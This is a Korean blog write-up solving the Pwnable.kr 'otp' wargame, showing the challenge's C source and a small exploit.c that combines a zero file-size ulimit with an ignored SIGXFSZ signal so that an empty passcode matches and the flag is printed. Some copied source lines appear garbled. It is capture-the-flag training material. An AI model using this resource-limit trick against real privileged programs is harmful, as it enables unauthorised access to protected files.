본문 바로가기
Wargame Write-Up/Pwnable.kr

[Pwnable.kr] otp 풀이

by snwo 2021. 4. 7.

ulimit 으로 푸는 문제라 하더라고요,,

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
int main(int argc, char* argv[]){
        char fname[128];
        unsigned long long otp[2];
 
        if(argc!=2){
                printf("usage : ./otp [passcode]\n");
                return 0;
        }
 
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1) exit(-1);
 
        if(read(fd, otp, 16)!=16) exit(-1);
        close(fd);
 
        sprintf(fname, "/tmp/%llu", otp[0]);
        FILE* fp = fopen(fname, "w");
        if(fp==NULL){ exit(-1); }
        fwrite(&otp[1], 81, fp);
        fclose(fp);
 
        printf("OTP generated.\n");
 
        unsigned long long passcode=0;
        FILE* fp2 = fopen(fname, "r");
        if(fp2==NULL){ exit(-1); }
        fread(&passcode, 81, fp2);
        fclose(fp2);
 
        if(strtoul(argv[1], 016== passcode){
                printf("Congratz!\n");
                system("/bin/cat flag");
        }
        else{
                printf("OTP mismatch\n");
        }
 
        unlink(fname);
        return 0;
}
cs

 

/tmp/(urandom 8byte) 에 urandom 8byte 를 저장해 passcode 와 8바이트 비교하는 코드입니다.

ulimit 명령어로 파일사이즈에 limit 을 걸어 /dev/urandom 에서 \x00 을 읽어오게해서

flag 를 읽으면 될 것같습니다. 

 

 

ulimit -f 0 으로 파일사이즈 limit 을 걸 수 있고, 실행해보면 signal 이 발생하며 종료됩니다.

signal 을 무시하고 자식프로세스를 생성하는 C 코드를 작성해 봅시다.

 

(ulimit 을 늘리려고하면 권한때문에 오류가 나니, 로그아웃하고 들어와서 tmp 디렉토리에 폴더를 생성한다.)


일단, 비밀번호가 맞을 때, /bin/cat flag 명령어가 실행되기 떄문에, tmp 디렉토리에 flag 파일 소프트링크를 걸어줍시다.

 

무시해야할 signal 은 SIGXFSZ(25) 입니다.

 

void (*signal(int signum, void (*handler)(int)))(int);

 

signal 함수는 signal.h 파일에 다음과 같이 선언되어있고,

두번째 인자인 handler 에는 SIG_IGN 를 넣어 시그널을 무시할 수 있다.


exploit.c 

 

1
2
3
4
5
6
7
8
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
int main(void){
        signal(SIGXFSZ,SIG_IGN);
        char *argv[]={"/home/otp","\x00",NULL};
        execv("/home/otp/otp",argv);
}
cs

 

exploit.c 파일을 컴파일한 뒤, ulimit 을 걸고 실행하면 된다.